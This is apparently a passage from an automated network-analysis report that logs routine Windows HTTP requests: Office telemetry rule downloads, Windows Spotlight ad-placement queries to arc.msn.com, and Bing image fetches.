Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174539Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b35787354e28460db87022a1a58efab7&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617007&metered=false&nettype=ethernet&npid=sc-338387&oemName=uvisoy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=uvisoy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617007&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAasc/NOdGgpwsanpRbai4kW3OHkWdYA6KDbRx63FD4O4IWZZaiybbcUzEQ+y8+iETOMbTSC0fkKwKwT9S2x1pEL+4iwzuYzs2zJiTrAdjbws/dzg+0x1isYOJZX1Jajbiaunc9Uurp4DvP5SwNswDR3GFFhANRB8B2AkHz6m1CGK51WYSg2VJu5ynLwl9vjfh7zLX9xl2dWy4XH+W03yEansVUinyBe8xb8qi432nHrNm0D1xzb1xjwK9zldzbHVyivG6nURIO63kFX+/XEhklEXUZNN5bT/wUHycv6NZoZlLGqds1Y1mTKUKI6rZiiYJ6V04jCeMVLHp8zXU2vhUUEQZgAAELOYFiWHpl7/V+fN9llABeOwAXeHbQY3hcIhtoBxTsyoxdm0xrs9bkCik4LAElXKge8YV5nXHr4ceOxs0r9qR8hLl2eI6LN7ljVPE/IxquPLa14n8EH0H0hgDMDZbxJKx4795aB/U23vw4u4e9Y7Zz+dh8MXYQ2zsjK57HE5ec4aMx5usSP47OgnbRPgI5Hvh3knH+staWB+6Z6rqy6TJy3iDsVYBDQPuarAjKwafXSjPmZVexkBw/+b2y3NH5t/XTn4k/Q+OCRbn4F2+FHszL/qqIWrsiWL3Wkl/ZZY0CkPtU5GtXjHUN9a1F7WFqRW6e6WRdUgZ98OebD6H1yaqOucQRiz+c0lh6xkW4u2Xm+pzZAr8FzkUNpAI1qghBIGtvsh8AlHGfoOUkCJoNFfFqdBeXR5sQHPUyyPpwGN+MV7crIv54W2Uh37YhX3ALo/7QkYagEce2DDGD/cMa46yZVkYqltaiuo6/G7Z4r8vNAzZKIla6Xs6HpIvFDsB7vqnadP5f09v1VM0mF7D45ZnR4VArGo55I/TAP8H6zAKb9ZLjqoUGtzP+mJh3sZvCy/AOsC39m3MfXckk5SiyERc4YOQ9gB&p=Cache-Control: no-cacheMS-CV: fpZFV58WtUqgL43x.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174539Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b50cf9998eab4ed7a7c5592ae5479a64&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617007&metered=false&nettype=ethernet&npid=sc-280815&oemName=uvisoy%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=uvisoy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617007&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAasc/NOdGgpwsanpRbai4kW3OHkWdYA6KDbRx63FD4O4IWZZaiybbcUzEQ+y8+iETOMbTSC0fkKwKwT9S2x1pEL+4iwzuYzs2zJiTrAdjbws/dzg+0x1isYOJZX1Jajbiaunc9Uurp4DvP5SwNswDR3GFFhANRB8B2AkHz6m1CGK51WYSg2VJu5ynLwl9vjfh7zLX9xl2dWy4XH+W03yEansVUinyBe8xb8qi432nHrNm0D1xzb1xjwK9zldzbHVyivG6nURIO63kFX+/XEhklEXUZNN5bT/wUHycv6NZoZlLGqds1Y1mTKUKI6rZiiYJ6V04jCeMVLHp8zXU2vhUUEQZgAAELOYFiWHpl7/V+fN9llABeOwAXeHbQY3hcIhtoBxTsyoxdm0xrs9bkCik4LAElXKge8YV5nXHr4ceOxs0r9qR8hLl2eI6LN7ljVPE/IxquPLa14n8EH0H0hgDMDZbxJKx4795aB/U23vw4u4e9Y7Zz+dh8MXYQ2zsjK57HE5ec4aMx5usSP47OgnbRPgI5Hvh3knH+staWB+6Z6rqy6TJy3iDsVYBDQPuarAjKwafXSjPmZVexkBw/+b2y3NH5t/XTn4k/Q+OCRbn4F2+FHszL/qqIWrsiWL3Wkl/ZZY0CkPtU5GtXjHUN9a1F7WFqRW6e6WRdUgZ98OebD6H1yaqOucQRiz+c0lh6xkW4u2Xm+pzZAr8FzkUNpAI1qghBIGtvsh8AlHGfoOUkCJoNFfFqdBeXR5sQHPUyyPpwGN+MV7crIv54W2Uh37YhX3ALo/7QkYagEce2DDGD/cMa46yZVkYqltaiuo6/G7Z4r8vNAzZKIla6Xs6HpIvFDsB7vqnadP5f09v1VM0mF7D45ZnR4VArGo55I/TAP8H6zAKb9ZLjqoUGtzP+mJh3sZvCy/AOsC39m3MfXckk5SiyERc4YOQ9gB&p=Cache-Control: no-cacheMS-CV: fpZFV58WtUqgL43x.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174539Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=f0f8de1739df45438ea3ceabbb2d666d&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617007&metered=false&nettype=ethernet&npid=sc-338388&oemName=uvisoy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=uvisoy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617007&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAasc/NOdGgpwsanpRbai4kW3OHkWdYA6KDbRx63FD4O4IWZZaiybbcUzEQ+y8+iETOMbTSC0fkKwKwT9S2x1pEL+4iwzuYzs2zJiTrAdjbws/dzg+0x1isYOJZX1Jajbiaunc9Uurp4DvP5SwNswDR3GFFhANRB8B2AkHz6m1CGK51WYSg2VJu5ynLwl9vjfh7zLX9xl2dWy4XH+W03yEansVUinyBe8xb8qi432nHrNm0D1xzb1xjwK9zldzbHVyivG6nURIO63kFX+/XEhklEXUZNN5bT/wUHycv6NZoZlLGqds1Y1mTKUKI6rZiiYJ6V04jCeMVLHp8zXU2vhUUEQZgAAELOYFiWHpl7/V+fN9llABeOwAXeHbQY3hcIhtoBxTsyoxdm0xrs9bkCik4LAElXKge8YV5nXHr4ceOxs0r9qR8hLl2eI6LN7ljVPE/IxquPLa14n8EH0H0hgDMDZbxJKx4795aB/U23vw4u4e9Y7Zz+dh8MXYQ2zsjK57HE5ec4aMx5usSP47OgnbRPgI5Hvh3knH+staWB+6Z6rqy6TJy3iDsVYBDQPuarAjKwafXSjPmZVexkBw/+b2y3NH5t/XTn4k/Q+OCRbn4F2+FHszL/qqIWrsiWL3Wkl/ZZY0CkPtU5GtXjHUN9a1F7WFqRW6e6WRdUgZ98OebD6H1yaqOucQRiz+c0lh6xkW4u2Xm+pzZAr8FzkUNpAI1qghBIGtvsh8AlHGfoOUkCJoNFfFqdBeXR5sQHPUyyPpwGN+MV7crIv54W2Uh37YhX3ALo/7QkYagEce2DDGD/cMa46yZVkYqltaiuo6/G7Z4r8vNAzZKIla6Xs6HpIvFDsB7vqnadP5f09v1VM0mF7D45ZnR4VArGo55I/TAP8H6zAKb9ZLjqoUGtzP+mJh3sZvCy/AOsC39m3MfXckk5SiyERc4YOQ9gB&p=Cache-Control: no-cacheMS-CV: fpZFV58WtUqgL43x.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174545Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=7d4a86bb01ee47c388ecdaf0936128f0&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617007&metered=false&nettype=ethernet&npid=sc-280815&oemName=uvisoy%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=uvisoy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617007&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAasc/NOdGgpwsanpRbai4kW3OHkWdYA6KDbRx63FD4O4IWZZaiybbcUzEQ+y8+iETOMbTSC0fkKwKwT9S2x1pEL+4iwzuYzs2zJiTrAdjbws/dzg+0x1isYOJZX1Jajbiaunc9Uurp4DvP5SwNswDR3GFFhANRB8B2AkHz6m1CGK51WYSg2VJu5ynLwl9vjfh7zLX9xl2dWy4XH+W03yEansVUinyBe8xb8qi432nHrNm0D1xzb1xjwK9zldzbHVyivG6nURIO63kFX+/XEhklEXUZNN5bT/wUHycv6NZoZlLGqds1Y1mTKUKI6rZiiYJ6V04jCeMVLHp8zXU2vhUUEQZgAAELOYFiWHpl7/V+fN9llABeOwAXeHbQY3hcIhtoBxTsyoxdm0xrs9bkCik4LAElXKge8YV5nXHr4ceOxs0r9qR8hLl2eI6LN7ljVPE/IxquPLa14n8EH0H0hgDMDZbxJKx4795aB/U23vw4u4e9Y7Zz+dh8MXYQ2zsjK57HE5ec4aMx5usSP47OgnbRPgI5Hvh3knH+staWB+6Z6rqy6TJy3iDsVYBDQPuarAjKwafXSjPmZVexkBw/+b2y3NH5t/XTn4k/Q+OCRbn4F2+FHszL/qqIWrsiWL3Wkl/ZZY0CkPtU5GtXjHUN9a1F7WFqRW6e6WRdUgZ98OebD6H1yaqOucQRiz+c0lh6xkW4u2Xm+pzZAr8FzkUNpAI1qghBIGtvsh8AlHGfoOUkCJoNFfFqdBeXR5sQHPUyyPpwGN+MV7crIv54W2Uh37YhX3ALo/7QkYagEce2DDGD/cMa46yZVkYqltaiuo6/G7Z4r8vNAzZKIla6Xs6HpIvFDsB7vqnadP5f09v1VM0mF7D45ZnR4VArGo55I/TAP8H6zAKb9ZLjqoUGtzP+mJh3sZvCy/AOsC39m3MfXckk5SiyERc4YOQ9gB&p=Cache-Control: no-cacheMS-CV: fpZFV58WtUqgL43x.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174545Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=6cf0ab8483b6448aa6a085f9c32b39a8&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617007&metered=false&nettype=ethernet&npid=sc-338388&oemName=uvisoy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=uvisoy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617007&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=531538185&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAasc/NOdGgpwsanpRbai4kW3OHkWdYA6KDbRx63FD4O4IWZZaiybbcUzEQ+y8+iETOMbTSC0fkKwKwT9S2x1pEL+4iwzuYzs2zJiTrAdjbws/dzg+0x1isYOJZX1Jajbiaunc9Uurp4DvP5SwNswDR3GFFhANRB8B2AkHz6m1CGK51WYSg2VJu5ynLwl9vjfh7zLX9xl2dWy4XH+W03yEansVUinyBe8xb8qi432nHrNm0D1xzb1xjwK9zldzbHVyivG6nURIO63kFX+/XEhklEXUZNN5bT/wUHycv6NZoZlLGqds1Y1mTKUKI6rZiiYJ6V04jCeMVLHp8zXU2vhUUEQZgAAELOYFiWHpl7/V+fN9llABeOwAXeHbQY3hcIhtoBxTsyoxdm0xrs9bkCik4LAElXKge8YV5nXHr4ceOxs0r9qR8hLl2eI6LN7ljVPE/IxquPLa14n8EH0H0hgDMDZbxJKx4795aB/U23vw4u4e9Y7Zz+dh8MXYQ2zsjK57HE5ec4aMx5usSP47OgnbRPgI5Hvh3knH+staWB+6Z6rqy6TJy3iDsVYBDQPuarAjKwafXSjPmZVexkBw/+b2y3NH5t/XTn4k/Q+OCRbn4F2+FHszL/qqIWrsiWL3Wkl/ZZY0CkPtU5GtXjHUN9a1F7WFqRW6e6WRdUgZ98OebD6H1yaqOucQRiz+c0lh6xkW4u2Xm+pzZAr8FzkUNpAI1qghBIGtvsh8AlHGfoOUkCJoNFfFqdBeXR5sQHPUyyPpwGN+MV7crIv54W2Uh37YhX3ALo/7QkYagEce2DDGD/cMa46yZVkYqltaiuo6/G7Z4r8vNAzZKIla6Xs6HpIvFDsB7vqnadP5f09v1VM0mF7D45ZnR4VArGo55I/TAP8H6zAKb9ZLjqoUGtzP+mJh3sZvCy/AOsC39m3MfXckk5SiyERc4YOQ9gB&p=Cache-Control: no-cacheMS-CV: fpZFV58WtUqgL43x.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174545Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=87d78a0d2ff94d968796b3668baa66be&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617007&metered=false&nettype=ethernet&npid=sc-338387&oemName=uvisoy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=uvisoy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617007&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=532244186,531174684,531174684&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAasc/NOdGgpwsanpRbai4kW3OHkWdYA6KDbRx63FD4O4IWZZaiybbcUzEQ+y8+iETOMbTSC0fkKwKwT9S2x1pEL+4iwzuYzs2zJiTrAdjbws/dzg+0x1isYOJZX1Jajbiaunc9Uurp4DvP5SwNswDR3GFFhANRB8B2AkHz6m1CGK51WYSg2VJu5ynLwl9vjfh7zLX9xl2dWy4XH+W03yEansVUinyBe8xb8qi432nHrNm0D1xzb1xjwK9zldzbHVyivG6nURIO63kFX+/XEhklEXUZNN5bT/wUHycv6NZoZlLGqds1Y1mTKUKI6rZiiYJ6V04jCeMVLHp8zXU2vhUUEQZgAAELOYFiWHpl7/V+fN9llABeOwAXeHbQY3hcIhtoBxTsyoxdm0xrs9bkCik4LAElXKge8YV5nXHr4ceOxs0r9qR8hLl2eI6LN7ljVPE/IxquPLa14n8EH0H0hgDMDZbxJKx4795aB/U23vw4u4e9Y7Zz+dh8MXYQ2zsjK57HE5ec4aMx5usSP47OgnbRPgI5Hvh3knH+staWB+6Z6rqy6TJy3iDsVYBDQPuarAjKwafXSjPmZVexkBw/+b2y3NH5t/XTn4k/Q+OCRbn4F2+FHszL/qqIWrsiWL3Wkl/ZZY0CkPtU5GtXjHUN9a1F7WFqRW6e6WRdUgZ98OebD6H1yaqOucQRiz+c0lh6xkW4u2Xm+pzZAr8FzkUNpAI1qghBIGtvsh8AlHGfoOUkCJoNFfFqdBeXR5sQHPUyyPpwGN+MV7crIv54W2Uh37YhX3ALo/7QkYagEce2DDGD/cMa46yZVkYqltaiuo6/G7Z4r8vNAzZKIla6Xs6HpIvFDsB7vqnadP5f09v1VM0mF7D45ZnR4VArGo55I/TAP8H6zAKb9ZLjqoUGtzP+mJh3sZvCy/AOsC39m3MfXckk5SiyERc4YOQ9gB&p=Cache-Control: no-cacheMS-CV: fpZFV58WtUqgL43x.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239385916955_18M71XEVCBVYQN1KM&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
